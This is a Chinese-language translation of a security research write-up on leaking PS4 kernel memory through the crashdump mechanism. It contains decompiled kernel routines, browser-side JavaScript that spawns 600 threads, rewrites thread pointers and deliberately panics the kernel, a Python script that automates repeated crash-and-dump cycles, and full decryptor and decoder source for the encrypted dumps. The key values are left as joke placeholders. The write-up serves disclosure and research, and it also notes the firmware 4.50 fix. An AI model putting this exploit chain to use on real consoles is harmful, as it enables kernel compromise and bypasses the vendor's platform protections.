如果一个安全的设备，存在能让攻击者查看的故障转储（Crashdump）内容，会怎么样？如果该设备允许我们将任意内容写入故障转储，又可以怎么利用呢？令人震惊的是，PlayStation4就存在上述的问题，让我们来看看如何能够利用这些问题攻破PS4。本文仅探讨相关安全技术，且意为提升安全防护。
PS4的故障转储
我们发现，PS4内核的崩溃处理机制有两个地方是非常值得注意的：
第一，这是PS4特定的代码。
第二，如果故障转储可以被解码，我们将会得到非常有用的信息，可以查找已有的漏洞，并发现可靠的漏洞利用方法。
通常，在FreeBSD系统中，如果发生内核错误（Kernel Panic），就会通过调用带有RB_DUMP标志的kern_reboot来创建转储。这会导致doadump被调用，该函数会将内核映像中的一小部分信息转储到某个存储设备上。
在PS4上，则以mdbg_run_dump替换了doadump，该函数可以从panic调用，也可以从trap_fatal直接调用。经过比较，我们发现其转储的内容包含着巨大的信息量：既有所有进程、线程、VM对象的内核状态，同时还有已加载库的一些元数据（Metadata）。与FreeBSD系统的另外一个不同之处是，mdbg_run_dump会将其逐字段地编码并记录到转储中，并且在将其存储到磁盘之前，会对产生的缓冲区进行加密。
转储所有内容
让我们重点观察mdbg_run_dump的某个特定部分——该部分会遍历所有进程的线程，并尝试转储一些线程属性状态（Pthread State）。
void mdbg_run_dump(struct trapframe *frame) {
// ...
for ( p = allproc; p != NULL; p = cur_proc->p_list.le_next ) {
// ...
for (td = p->p_threads.tqh_first; td != NULL; td = td->td_plist.tqe_next) {
// ...
mdbg_pthread_fill_thrinfo2(&dumpstate, td->td_proc,
(void *)td->td_pcb->pcb_fsbase, sysdump__internal_call_readuser);
// ...
}
// ...
}
// ...
}
void mdbg_pthread_fill_thrinfo2(void *dst, struct proc *p, void *fsbase,
int (*callback)(void *dst, struct proc *p,
signed __int64 va, int len)) {
struct pthread *tcb_thread; // [rsp+8h] [rbp-408h]
u8 pthread[984]; // [rsp+10h] [rbp-400h]
if ( !callback(&tcb_thread, p, (signed __int64)fsbase + 0x10, 8)
&& !callback(pthread, p, (signed __int64)tcb_thread, 984) ) {
*(_QWORD *)dst = *(_QWORD *)&pthread[0xA8];
*((_QWORD *)dst + 1) = *(_QWORD *)&pthread[0xB0];
}
}
int sysdump__internal_call_readuser(void *dst, struct proc *p,
signed __int64 va, int len) {
const void *src; // rsi
struct vmspace *vm; // rcx
int rv; // rax
vm_paddr_t kva; // rax
src = (const void *)va;
if ( va >= 0 ) {
// if va is in userspace, get a kernel mapping of the address
// (note "va" is treated as signed, here)
vm = p->p_vmspace;
rv = EFAULT;
if ( !vm )
return rv;
kva = pmap_extract(vm->vm_pmap, va);
src = (const void *)(kva | -(signed __int64)(kva < 1) | 0xFFFFFE0000000000LL);
}
rv = EFAULT;
if ( src && src != (const void *)-1LL ) {
if ( va < 0 ) {
src = (const void *)va;
} else {
rv = ESRCH;
if ( !p )
return rv;
}
// so, this can still be reached even if "va" is originally in kernel space!
memcpy(dst, src, len);
rv = 0LL;
}
return rv;
}在上述代码中，我们发现，dumpstate是一个临时缓冲区，最终会进入到故障转储之中。因此，我们可以借助sysdump__internal_call_readuser来打造一个可以读取任意位置的函数。原因在于，fsbase将指向我们WebKit进程的用户模式（Usermode）地址空间。所以，即使不改变实际的fsbase值，我们也可以随意改变存储在fsbase+0x10位置的tcb_thread的值。
接下来，sysdump__internal_call_readuser会从内核地址中进行读取操作，并将读取的结果存入转储之中。
现在，我们就可以实现将内核中任意位置的内容放入转储之中，但是后续还需要对其进行解密和解码。除此之外，恐怕还有一个问题，就是针对每个线程，我们每次只能以这种方式获得0x10个字节。
故障转储的解密
经过我们对故障转储加密方式的分析，我们惊讶地发现，它所使用的是对称加密算法，并且还会在相同的固件版本之间使用相同的密钥。这也就意味着，如果内存被转储，我们只需要versioned_keys就可以对其实现解密（具体请参见文末的附录）。
这一问题从1.01固件版本开始就一直存在，并且，目前他们还没有意识到“重复使用可能暴露的对称密钥”是一个非常不安全的选择。在此之后，故障转储仍然是有用的，然而我们必须事先进行一次内核转储，才能获得密钥。
故障转储的解码
通过我们对1.01固件版本中符号的分析，发现编码过程被称为“nxdp”。故障转储的编码仅仅是简单地执行长度编码导数，并支持一些原始数据类型。相关的函数解析器，请参见文章末尾的附录。
故障转储自动化
如果说针对每个线程，每次只能获取到0x10个字节，那么我们的工作量就会异常巨大。然而，在测试过程中，我们发现在浏览器进程崩溃、挂起或拒绝创建更多线程之前，最多只能同时存在600个线程。基于此，我们做了简单的估算：
full_dump_size = 32MB
crashdump_cycle_time = ~5 minutes
thread_per_crashdump_cycle = 600
per_dump_size = thread_per_crashdump_cycle * 0x10 bytes = 9600 bytes
(full_dump_size / per_dump_size) * crashdump_cycle_time = 11 days结果表明，大概需要用11天的时间。但最终，通过仔细选择需要转储的内存范围，我们成功将所需时间减少到6天。通常情况下，当我们进行转储时，会更倾向于线性地进行转储，这样一来，将有助于引入.bss和其他段，从而方便我们的静态分析工作。
在有了可以将内核通过故障转储泄露出来的先决条件之后，我们着手研究这一过程的自动化，这样一来，我就可以放心地让它自己去运行，并在几天之后能够收获到一个全新的内核转储。
由于PS4内核会将故障转储保存到硬盘驱动器中，因此我需要找到一种方法来拦截传输中的数据，或者找到一种方法直接在硬盘中读取数据。恰好，我在这时听说了vpikhur针对EAP的研究成果。关于攻击EAP的细节我们就不在本文讨论，详情请参阅他的演讲内容（https://twitter.com/vpikhur/status/942123298392903681）。通过他的研究，我们知道EAP时Aeolia南桥中的一个嵌入式处理器，并且vpikhur已经解决了“如何获得持久的内核级代码并执行”这一问题。通过学习这一方法，我制作了一个EAP内核二进制文件，可以用来检测硬盘中的故障转储，并通过网络将其传输到我的电脑上。
在实现这一功能后，我对一些硬件部分进行了改动，具体来说是将PS4的电源开关接入网络，同时使用Linux的USB Gadget API模拟到PS4的输入。至此，我就可以使用简单的脚本来实现整个过程了。以下代码是在我的电脑上运行，并且会与用来控制PS4的远程控制Web服务器Novena进行通信：
import requests, time
import socket
import parse_dump
import struct
from io import BytesIO
import sys, traceback
remote_server = 'novena ip'
def send_cmd(cmd):
requests.get('http://%s' % (remote_server), headers = {'remote-cmd' : cmd})
def dump_index_get():
with open('dump-index') as f:
return int(f.read())
return 0
def dump_index_set(index):
print('setting dump-index to %i' % (index))
with open('dump-index', 'w') as f:
f.write('%i' % (index))
def dump_index_increment():
index = dump_index_get()
dump_index_set(index + 1)
def process_dump(partition_data):
nxdp = parse_dump.NXDP(BytesIO(parse_dump.Decryptor(partition_data).data))
# uses the most recent thread_info sent to the http server to transpose
# the dump data into flat memory dumps
nxdp.dump_thread_leak()
def recv_dump():
sock = socket.socket()
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind(('', 1339))
sock.listen(1)
conn, addr = sock.accept()
with conn:
magic = struct.unpack('<L', conn.recv(4))[0]
if magic != 0x13371337:
print('bad magic')
length, status = struct.unpack('<2L', conn.recv(4 * 2))
if status != 0:
print('bad status')
data = b''
while len(data) < length:
data += conn.recv(0x8000)
process_dump(data)
dump_index_set(dump_index_get())
# turn on
send_cmd('power')
while True:
# boot from healthy state takes ~30 seconds
time.sleep(35)
# going to browser should load exploit and crash ps4
send_cmd('start-browser')
# wait for exploit to run and ps4 to power off completely
time.sleep(20)
# power on ps4
# it will go through fsck (~60secs) and boot to a "send error report?" screen.
send_cmd('power') # power must be pressed twice...
time.sleep(2)
send_cmd('power')
time.sleep(60) # fsck
time.sleep(35) # power-up
# go past "send error report?" screen...
send_cmd('ack-crash')
# wait for xmb to load
time.sleep(10)
# go to rest mode to let EAP do it's thing
send_cmd('suspend')
# wait for data to arrive and process it
try:
recv_dump()
# after recving all data from EAP, need to wait for reboot (done on loop)
# assuming EAP sent data OK, it will reboot by itself into healthy state
dump_index_increment()
except:
# expect that nxdp data was recv'd, but decode fail -> just retry same
# position
exc_type, exc_value, exc_traceback = sys.exc_info()
traceback.print_exception(exc_type, exc_value, exc_traceback)
print('nxdp decode failed, retry')
触发漏洞
为了逐步对我此前指定的区域进行转储，我创建了一个简单的JSON Schema来记录元数据，这些元数据可以用来将TID绑定到其故障转储部分所包含的内核地址，并且保留每次运行所使用的基地址 （在这里是getDumpIndex()）。 下面是在PS4浏览器进程中执行的部分JS代码，这段代码的作用是启动故障转储：
...
// spawn threads which will just spin, and modify tcb->tcb_thread
// inf loop around nanosleep(30 secs)
var thread_map = [];
for (var thrcnt = 0; thrcnt < 600; thrcnt++) {
var local_buf = scratchPtr.plus(0x2000);
var rv = doCall(gadgets.pthread_create, local_buf, 0,
syms.libkernel.inf_loop_with_nanosleep, 0);
var thread = read64(local_buf);
var tcb = read64(thread.plus(0x1e0));
var tid = read32(thread);
thread_map.push({ tcb_thread_ptr : tcb.plus(0x10), thr_idx : thrcnt,
tid : tid});
}
// this was for back when there was no kernel .text aslr :)
var dump_base = new U64(0x80000000, 0xffffffff);
dump_base = dump_base.plus(600 * 0x10 * getDumpIndex());
// sync layout so dumped memory can be ordered correctly
sendThreadInfo(dump_base, thread_map);
// wait for threads to start - delayed start could overwrite tcb_thread
doCall(gadgets.sleep, 3);
// now set tcb_thread
dump_base = dump_base.minus(0xa8);
for (var i = 0; i < thread_map.length; i++) {
// 0x10 bytes at each tcb_thread + 0xa8 will be added to dump
var t = thread_map[i];
var dumpaddr = dump_base.plus(t.thr_idx * 0x10);
write64(t.tcb_thread_ptr, dumpaddr);
}
// panic (here, using namedobj bug to free invalid pointer)
kernel_free(toU64(0xdeadbeef));
return;
}在发生内核错误和故障转储之后，PS4将重新启动，并进入标准的fsck（检查修复文件系统中的错误）过程。 随后，我的控制脚本会使PS4进入挂起模式，此时自定义的EAP内核将接管，并将故障转储上传至我的电脑。 在上传完成之后，故障转储将被解密和解析，以提取泄漏出来的9600字节。 然后，这一过程将会持续长达6天之久。
修复方式
在4.50版本的固件，故障转储密钥的生成方法中，他们终于改用了非对称密钥，以便能够解密转储内容。
// one of the first calls mdbg_run_dump makes
int sysdump_output_establish_secure_context_on_dump() {
int rv; // eax
u8 nonces_to_sign[32]; // [rsp+8h] [rbp-48h]
// fill globals
sysdump_rng_nonce3_128(nonce3);
sysdump_rng_nonce4_128(nonce4);
memcpy(nonces_to_sign, nonce3, 16LL);
memcpy(&nonces_to_sign[16], nonce4, 16LL);
rv = RsaesOaepEnc2048_Sha256(sysdump_rsa_n, sysdump_rsa_e, nonces_to_sign, 32,
sysdump_rsa_enc_nonces);
if ( rv )
bzero(sysdump_rsa_enc_nonces, 0x100uLL);
Sha256HmacInit(sysdump_hmac_ctx, nonce4, 0x10u);
bzero(dump_aes_ctx_iv, 0x10uLL);
return rv;
}以上版本的sysdump_output_establish_secure_context_on_dump来自于版本号为4.55的固件。 nonce3是将要被用作故障转储AES密钥的值。该值只会存储在经过RSA加密的二进制大对象（Blob）的转储之中。 因此，我们需要研究一个新的方法来恢复密钥。
总结
这可能是我针对一个漏洞，所做过的最复杂和最漫长的分析，但这无疑是一次有趣的经历。
坚持不懈，攻破万物！
附录
故障转储解密器源代码：
'''
This decrypts a coredump stored on the "custom" swap partition.
The GPT UUID is B4 A5 A9 76 B0 44 2A 47 BD E3 31 07 47 2A DE E2
Look for "Decryptor.header_t" (see below)...
'''
from Crypto.Cipher import AES
from Crypto.Hash import HMAC, SHA256
import binascii, struct
from construct import *
def aes_ecb_encrypt(k, d):
return AES.new(k, AES.MODE_ECB).encrypt(d)
def aes_ecb_decrypt(k, d):
return AES.new(k, AES.MODE_ECB).decrypt(d)
def hmac_sha256(k, d):
return HMAC.new(k, msg = d, digestmod = SHA256).digest()
def ZeroPadding(size):
return Padding(size , strict = True)
class RootKeys:
def __init__(s, kd, kc):
s.kd = binascii.unhexlify(kd)
s.kc = binascii.unhexlify(kc)
class Keyset:
def __init__(s, hmac_key, aes_key):
s.hmac_key, s.aes_key = hmac_key, aes_key
s.iv = b'\0' * len(s.aes_key)
class Decryptor:
DUMP_BLOCK_LEN = 0x4000
versioned_keys = {
1 : [RootKeys('you', 'should')],
2 : [RootKeys('probably', 'find')],
3 : [
RootKeys('these', 'your-'), # 4.05
RootKeys('self', ':)'), # 4.07
]
}
secure_header_t = Struct('secure_header',
# only seen version 1 so far
ULInt32('version'),
# Aes128Ecb(kd, openpsid)
Bytes('openpsid_enc', 0x10),
# 0x80 bytes of secure_header are hashed for the data_hmac,
# but only 0x14 bytes (actual used bytes) are actually written to disk...
ZeroPadding(0x80 - 0x14),
)
final_header_t = Struct('final_header',
Bytes('unknown', 0x10),
# 1 : unread dump present, 2 : no new dump data
ULInt64('state'),
ULInt64('data_len'),
ZeroPadding(0x10),
Bytes('data_hmac', 0x20)
)
header_t = Struct('header',
secure_header_t,
ZeroPadding(0x100 - secure_header_t.sizeof()),
final_header_t
)
def keygen(s, openpsid, root_keys):
openpsid_enc = aes_ecb_encrypt(root_keys.kd, openpsid)
digest = hmac_sha256(root_keys.kc, openpsid_enc)
return Keyset(digest[:0x10], digest[0x10:])
def hmac_verify(s, keyset):
hmac = HMAC.new(keyset.hmac_key, digestmod = SHA256)
with open(s.fpath, 'rb') as f:
hmac.update(f.read(s.secure_header_t.sizeof()))
data_len = s.header.final_header.data_len
data_len -= s.DUMP_BLOCK_LEN
f.seek(s.DUMP_BLOCK_LEN)
hmac.update(f.read(data_len))
return hmac.digest() == s.header.final_header.data_hmac
return False
def unwrap_keyset(s):
openpsid_enc = s.header.secure_header.openpsid_enc
version = s.header.secure_header.version
for root_keys in s.versioned_keys[version]:
openpsid = aes_ecb_decrypt(root_keys.kd, openpsid_enc)
digest = hmac_sha256(root_keys.kc, openpsid_enc)
keyset = Keyset(digest[:0x10], digest[0x10:])
if s.hmac_verify(keyset):
print('OpenPSID:\n %s' % (binascii.hexlify(openpsid)))
return keyset
return None
def __init__(s, fpath, default_openpsid = None, default_keyset_id = None):
s.fpath = fpath
with open(s.fpath, 'rb') as f:
s.header = s.header_t.parse_stream(f)
if s.header.final_header.state == 1:
s.keyset = s.unwrap_keyset()
else:
# something happened to the dump (like it was "consumed" after a reboot).
# in that case most of the header will be zerod
assert default_openpsid is not None,
'must provide openpsid to decrypt dump without secure_header'
assert default_keyset_id is not None,
'must provide keyset id to decrypt dump without secure_header'
root_keys = s.versioned_keys[default_keyset_id[0]][default_keyset_id[1]]
s.keyset = s.keygen(default_openpsid, root_keys)
assert s.keyset is not None
# just decrypt it all at once for now
# if we reach here, hmac is already verified or it didn't exist
with open(s.fpath, 'rb') as f:
f.seek(s.DUMP_BLOCK_LEN)
data_enc = f.read()
# This should actually be AesCbcCfb128Encrypt,
# but it's always block-size multiple in crashdump usage.
s.data = AES.new(s.keyset.aes_key, AES.MODE_CBC, s.keyset.iv).decrypt(data_enc)
'''
with open('debug.bin', 'wb') as fo:
fo.write(s.data)
#'''NXDP解码器源代码：
import binascii, struct
from construct import *
from io import BytesIO
import argparse
def sign_extend(value, bits):
sign_bit = 1 << (bits - 1)
return (value & (sign_bit - 1)) - (value & sign_bit)
class NxdpObject(object):
def __init__(s, obj): s.parse(obj)
def parse(s, o): s.obj = o
def __repr__(s):
stuff = ['Unformatted Object:']
for i in s.obj:
if isinstance(i, int):
stuff.append('%16x' % (i))
elif isinstance(i, bytes):
stuff.append(str(binascii.hexlify(i)))
else:
stuff.append(repr(i))
return '\n'.join(stuff)
class NxdpKernelInfo(NxdpObject):
kernel_version_t = Struct('kernel_version',
ULInt32('field_0'),
ULInt32('firmware_version'),
ULInt64('mdbg_kernel_build_id'),
ZeroPadding(0x20 - 0x10)
)
def parse(s, o):
s.ver = s.kernel_version_t.parse(o[0])
def __repr__(s):
fw_ver_maj = s.ver.firmware_version >> 24
fw_ver_min = (s.ver.firmware_version >> 12) & 0xfff
fw_ver_unk = s.ver.firmware_version & 0xfff
fw_ver = '%02x.%03x.%03x' % (fw_ver_maj, fw_ver_min, fw_ver_unk)
l = []
l.append('Kernel Version Info')
l.append(' unk %8x' % (s.ver.field_0))
l.append(' fw version %s' % (fw_ver))
l.append(' kernel build id %16x' % (s.ver.mdbg_kernel_build_id))
return '\n'.join(l)
class NxdpBuffer(NxdpObject):
class Buffer:
def __init__(s, va, buf):
s.va = va
s.buf = buf
def parse(s, o):
# seems to be generic; has subtype (1 : ascii string, 2 : raw bytes)
# raw bytes are an array of <virtual address, bytes> pairs
s.buftype = o[0]
if s.buftype == 1:
s.strbuf = o[1].decode('ascii')
elif s.buftype == 2:
s.bufs = []
for va, size, buf in o[1]:
assert size == len(buf)
s.bufs.append(s.Buffer(va, buf))
elif s.buftype == 3:
s.buf = o[1]
else: assert False
def __repr__(s):
l = []
l.append('---------buffer begin-------')
if s.buftype == 1:
l.append(s.strbuf)
elif s.buftype == 2:
for buf in s.bufs:
l.append('Virtual Address: %16x, Length %x' % (buf.va, len(buf.buf)))
# TODO pretty-hexdump
# normally used for stacks...should pretty-print stacks too
l.append(str(binascii.hexlify(buf.buf), 'ascii'))
elif s.buftype == 3:
l.append('Kernel panic summary:')
l.append(str(binascii.hexlify(s.buf), 'ascii'))
l.append('---------buffer end---------')
return '\n'.join(l)
class NxdpKernelPanic(NxdpObject):
def parse(s, o):
s.panicstr = o[0].decode('ascii').rstrip('\n')
def __repr__(s):
return 'Panic Message:\n %s' % (s.panicstr)
class NxdpKernelPanicLarge(NxdpObject):
def parse(s, o):
s.panicstr = o[0].decode('ascii') + o[1].decode('ascii')
s.unks = o[2:]
def __repr__(s):
l = ['Panic Message(ver2):']
l.append(' unk %x %x %x' % (s.unks[0], s.unks[1], s.unks[2]))
l.append(' log: %s' % (s.panicstr))
return '\n'.join(l)
class NxdpKernelTrapFrame(NxdpObject):
reg_indices = ['rax', 'rcx', 'rdx', 'rbx', 'rsp', 'rbp', 'rsi', 'rdi', 'r8', 'r9', 'r10', 'r11', 'r12', 'r13', 'r14', 'r15', 'rip', 'rflags']
def parse(s, o):
s.trapno = o[0]
s.err = o[1]
s.addr = o[2]
s.regs = []
for idx, val in o[3]:
s.regs.append((idx, val))
def __repr__(s):
l = ['Trap Frame']
l.append(' trapno %x' % (s.trapno))
l.append(' err %x' % (s.err))
l.append(' addr %16x' % (s.addr))
for reg in s.regs:
l.append(' %6s : %16x' % (s.reg_indices[reg[0]], reg[1]))
return '\n'.join(l)
class NxdpDumperInfo(NxdpObject):
def parse(s, o):
s.unk = o[0]
s.tid = o[1]
def __repr__(s):
l = ['Dumper Info']
l.append(' unk %x' % (s.unk))
l.append(' tid %x' % (s.tid))
return '\n'.join(l)
class NxdpProcessInfo(NxdpObject):
def parse(s, o):
s.pid = o[0]
s.subtypes = []
s.subobjs = []
for i in o[1]:
if i[0] not in s.subtypes:
s.subtypes.append(i[0])
s.subobjs.append(NxdpParser.parse(i))
def __repr__(s):
l = ['', 'Process Info']
l.append(' pid %x' % (s.pid))
l.append(' subtypes seen %s' % (s.subtypes))
for subobj in s.subobjs:
l.append(str(subobj))
return '\n'.join(l)
class NxdpSceDynlibInfo(NxdpObject):
dynlib_info_t = Struct('dynlib_info',
ULInt64('some_tid'),
ULInt8('flags'),
ZeroPadding(7),
ULInt64('ppid'),
String('comm', 0x20, encoding = 'ascii', padchar = '\0'),
String('path', 0x400, encoding = 'ascii', padchar = '\0'),
Bytes('fingerprint', 0x14),
ULInt64('entrypoint'),
ULInt64('field_454'),
ULInt64('field_45c'),
ULInt32('field_464'),
ULInt32('field_468'),
ULInt32('field_46c'),
ULInt64('field_470'),
ULInt32('p_sig'),
ULInt32('field_47c'),
# XXX it seems at some point, this field was added...
ULInt32('field_480'),
)
def parse(s, o):
if len(o[0]) != s.dynlib_info_t.sizeof():
print('unexpected dynlib info size, %x' % (len(o[0])))
s.info = s.dynlib_info_t.parse(o[0])
def __repr__(s):
l = ['Library Info']
l.append(' some tid %x' % (s.info.some_tid))
l.append(' flags %x' % (s.info.flags))
l.append(' parent pid %x' % (s.info.ppid))
l.append(' comm %s' % (s.info.comm))
l.append(' path %s' % (s.info.path))
l.append(' fingerprint %s' % (binascii.hexlify(s.info.fingerprint)))
l.append(' entrypoint %16x' % (s.info.entrypoint))
l.append(' unks (dynlib) field_454 %16x field_45c %16x field_464 %8x field_468 %8x' % (
s.info.field_454, s.info.field_45c, s.info.field_464, s.info.field_468))
l.append(' p_sig %8x' % (s.info.p_sig))
l.append(' unks (proc) field_46c %8x field_470 %16x field_47c %8x field_480 %8x' % (
s.info.field_46c, s.info.field_470, s.info.field_47c, s.info.field_480))
return '\n'.join(l)
class NxdpPcb(NxdpObject):
# there are more (see struct pcb), but these are what we expect in the dump
reg_indices = {
59 : 'fsbase',
60 : 'rbx',
61 : 'rsp',
62 : 'rbp',
63 : 'r12',
64 : 'r13',
65 : 'r14',
66 : 'r15',
67 : 'rip',
}
envxmm_t = Struct('envxmm',
ULInt16('en_cw'),
ULInt16('en_sw'),
ULInt8('en_tw'),
ULInt8('en_zero'),
ULInt16('en_opcode'),
ULInt64('en_rip'),
ULInt64('en_rdp'),
ULInt32('en_mxcsr'),
ULInt32('en_mxcsr_mask'),
)
sv_fp_t = Struct('sv_fp',
Bytes('fp_acc', 10),
# TODO why is this nonzero?
#Padding(6),
Bytes('sbz', 6),
)
savefpu_xstate_t = Struct('savefpu_xstate',
ULInt64('xstate_bv'),
#Bytes('xstate_rsrv0', 16),
ZeroPadding(16),
#Bytes('xstate_rsrv', 40),
ZeroPadding(40),
Array(16, Bytes('ymm_bytes', 16))
)
savefpu_ymm_t = Struct('savefpu_ymm',
envxmm_t,
Array(8, sv_fp_t),
Array(16, Bytes('xmm_bytes', 16)),
# TODO why is this nonzero?
#ZeroPadding(96),
Bytes('sbz', 96),
savefpu_xstate_t
)
def parse(s, o):
s.flags = o[0]
s.fpu = s.savefpu_ymm_t.parse(o[1])
s.regs = []
for idx, val in o[2]:
s.regs.append((idx, val))
def __repr__(s):
l = ['Process Control Block']
l.append(' flags %x' % (s.flags))
l.append(' fpu state %s' % (s.fpu))
for reg in s.regs:
l.append(' %s : %16x' % (s.reg_indices[reg[0]], reg[1]))
return '\n'.join(l)
class NxdpProcessThread(NxdpObject):
def parse(s, o):
s.tid = o[0]
s.subobjs = []
for i in o[1]:
s.subobjs.append(NxdpParser.parse(i))
def __repr__(s):
l = ['Thread Info']
l.append(' tid %x' % (s.tid))
for subobj in s.subobjs:
l.append(str(subobj))
return '\n'.join(l)
class NxdpThreadInfo(NxdpObject):
thread_info_t = Struct('thread_info',
ULInt64('pthread_a8'),
ULInt64('pthread_b0'),
ULInt64('field_10'),
ULInt64('td_priority'),
ULInt64('td_oncpu'),
ULInt64('td_lastcpu'),
# if !td_wchan, then thread->field_458
ULInt64('td_wchan'),
ULInt32('field_38'),
ULInt32('td_state'),
ULInt32('td_inhibitors'),
String('td_wmesg', 0x20, encoding = 'ascii', padchar = '\0'),
String('td_name', 0x20, encoding = 'ascii', padchar = '\0'),
ULInt32('pid'),
ULInt64('td_field_450'),
ULInt32('td_cpuset'),
# XXX this struct size has been changed...
Bytes('newstuff', 0xbc - 0x94)
)
def parse(s, o):
s.info = s.thread_info_t.parse(o[0])
def __repr__(s):
return str(s.info)
class NxdpTitleInfo(NxdpObject):
# this is a new object, so the meanings are a guess
def parse(s, o):
s.title_id = o[0].decode('ascii').rstrip('\0')
s.app_id = o[1]
s.unk0 = o[2]
s.unk1 = o[3]
def __repr__(s):
l = ['Title Info']
l.append(' title id %s' % (s.title_id))
l.append(' app id %x' % (s.app_id))
l.append(' unk values %x %x' % (s.unk0, s.unk1))
return '\n'.join(l)
class NxdpSceDynlibImports(NxdpObject):
dynlib_import_t = Struct('dynlib_import',
ULInt32('pid'),
# IDT index
ULInt32('handle'),
ZeroPadding(8),
# 0x10
ZeroPadding(0x20),
String('path', 0x400, encoding = 'ascii', padchar = '\0'),
ZeroPadding(8),
Bytes('fingerprint', 0x14),
# 0x44c
ZeroPadding(4),
ULInt32('refcount'),
ULInt64('entrypoint'),
ULInt64('dyl2_field_138'),
# 0x464
ULInt64('dyl2_field_140'),
ULInt64('dyl2_field_148'),
ULInt64('dyl2_field_158'),
ULInt32('dyl2_field_150'),
ULInt32('dyl2_field_160'),
ULInt64('text_base'),
ULInt64('text_size'),
ULInt32('field_494'),
# 0x498
ULInt64('data_base'),
ULInt64('data_size'),
# 0x4a8
ULInt32('dyl2_field_94'),
# TODO there seems to be more nonzero stuff in here?
Padding(0x6b4 - 0x4ac)
)
def parse(s, o):
# XXX this was added on later fw versions
# seems to duplicate handle for some reason
s.idx = o[0]
# same across versions
s.info = s.dynlib_import_t.parse(o[1])
def __repr__(s):
l = ['Import Info']
l.append(' id %x' % (s.idx))
l.append(str(s.info))
return '\n'.join(l)
class NxdpVmMap(NxdpObject):
vm_map_t = Struct('vm_map',
ULInt32('field_0'),
ULInt64('start'),
ULInt64('end'),
ULInt64('field_14'),
ULInt64('field_1c'),
ULInt64('field_24'),
ULInt32('prot'),
ULInt32('field_30'),
ULInt32('field_34'),
String('name', 0x20, encoding = 'ascii', padchar = '\0'),
ULInt32('field_58'),
ULInt32('field_5c'),
# XXX this was added on later fw versions
ULInt32('field_60'),
)
def parse(s, o):
s.info = s.vm_map_t.parse(o[0])
def __repr__(s):
l = 'VM Map Entry: %16x - %16x %x %s' % (s.info.start, s.info.end, s.info.prot, s.info.name)
return l
class NxdpKernelRandom(NxdpObject):
def parse(s, o):
s.seed = o[0]
s.slide = o[1]
def __repr__(s):
l = ['Kernel Random Info']
l.append(' seed %s' % (binascii.hexlify(s.seed)))
l.append(' slide %x' % (s.slide))
return '\n'.join(l)
class NxdpInterruptInfo(NxdpObject):
def parse(s, o):
s.from_ip = o[0]
s.to_ip = o[1]
def __repr__(s):
l = ['Last Interrupt IP Info']
l.append(' from %x' % (s.from_ip))
l.append(' to %x' % (s.to_ip))
return '\n'.join(l)
class NxdpParser:
process_types = {
0x21 : NxdpProcessInfo,
0x22 : NxdpProcessThread,
}
type_parsers = {
0x00 : process_types,
0x01 : NxdpSceDynlibInfo,
0x02 : NxdpThreadInfo,
# 0x03 is SCE ID table stuff...seems they removed it from later fw coredumps?
0x04 : NxdpSceDynlibImports,
0x05 : NxdpVmMap,
0x10 : NxdpKernelInfo,
0x11 : NxdpBuffer,
0x21 : NxdpKernelPanic,
0x22 : NxdpKernelTrapFrame,
0x23 : NxdpPcb,
0x24 : NxdpDumperInfo,
0x25 : NxdpKernelRandom,
0x26 : NxdpTitleInfo,
0x27 : NxdpInterruptInfo,
0x28 : NxdpKernelPanicLarge,
}
@staticmethod
def parse(obj):
try:
f = NxdpParser.type_parsers[obj[0]]
l = 1
while isinstance(f, dict):
f = f[obj[l]]
l += 1
return f(obj[l:])
except KeyError:
return NxdpObject(obj)
class NXDP:
def __init__(s, buf):
s.buf = buf
s.nonce = s.buf.read(0x10)
unpacked = s.decode()
s.root_raw = unpacked
s.parsed = []
for i in unpacked:
s.parsed.append(NxdpParser.parse(i))
def read_byte(s):
return struct.unpack('B', s.buf.read(1))[0]
def decode(s):
#print('decode @ %x' % (s.buf.tell()))
# The idea is that everything eventually ends in leaf node which can be
# represented as signed/unsigned integer, or a buffer.
# Nodes consist of "uarray"s, which denote children, and
# "array"s, which denote groups at the same level.
b = s.read_byte()
if b <= 0x7f: # unsigned immediate
return b
elif b == 0xc0: # next byte is immediate type
b = s.read_byte()
if b == 2: # boolean "true"
return True
elif b == 3: # boolean "false"
return False
elif b == 4: # uarray begin
# push level
items = []
while True:
i = s.decode()
if i is None:
break
items.append(i)
return items
elif b == 5: # uarray end
# pop level
return None
else: assert False
elif b == 0xc1: # blob_rle
return s.decode_blob_rle()
id = b >> 4
arg = b & 0xf
if id == 0x9: # unsigned
return s.decode_unsigned(arg)
if id == 0xa: # array
a = []
for i in range(arg):
a.append(s.decode())
return a
elif id == 0xb: # blob
return s.decode_blob(arg)
elif id == 0xd: # signed
return s.decode_signed(arg)
elif b >= 0xe1: # signed immediate
return sign_extend(b, 8)
else: assert False
def decode_unsigned(s, n):
x = 0
for i in range(n, 0, -1):
x |= s.read_byte() << ((i - 1) * 8)
return x
def decode_signed(s, n):
u = s.decode_unsigned(n)
# "sign-extend"...
# This is normally used to encode kernel addresses,
# so actually return unsugned...
return (u | (0xffffffffffffffff << (n * 8))) & 0xffffffffffffffff
def decode_blob(s, n):
# n = 0 means length is encoded unsigned value
if n == 0:
n = s.decode()
return s.buf.read(n)
def decode_blob_rle(s):
# decompressed size is stored first
n = s.decode()
# always starts with 0x97 which *doesn't* encode anything...
assert s.read_byte() == 0x97
# slow and simple
blob = b''
while len(blob) < n:
b = s.buf.read(1)
if b == b'\x97':
count = s.read_byte()
if count > 0:
b = s.buf.read(1) * count
blob += b
assert len(blob) == n
return blob
def dump(s):
for i in s.parsed:
print(i)
if __name__ == '__main__':
parser = argparse.ArgumentParser(description = 'PS4 crashdump parser')
parser.add_argument('dump_path')
parser.add_argument('-i', '--openpsid', type = lambda x: binascii.unhexlify(x))
parser.add_argument('-k', '--keyset_id', type = lambda x: list(map(int, x.split('.'))))
args = parser.parse_args()
nxdp = NXDP(BytesIO(Decryptor(args.dump_path, args.openpsid, args.keyset_id).data))
nxdp.dump()
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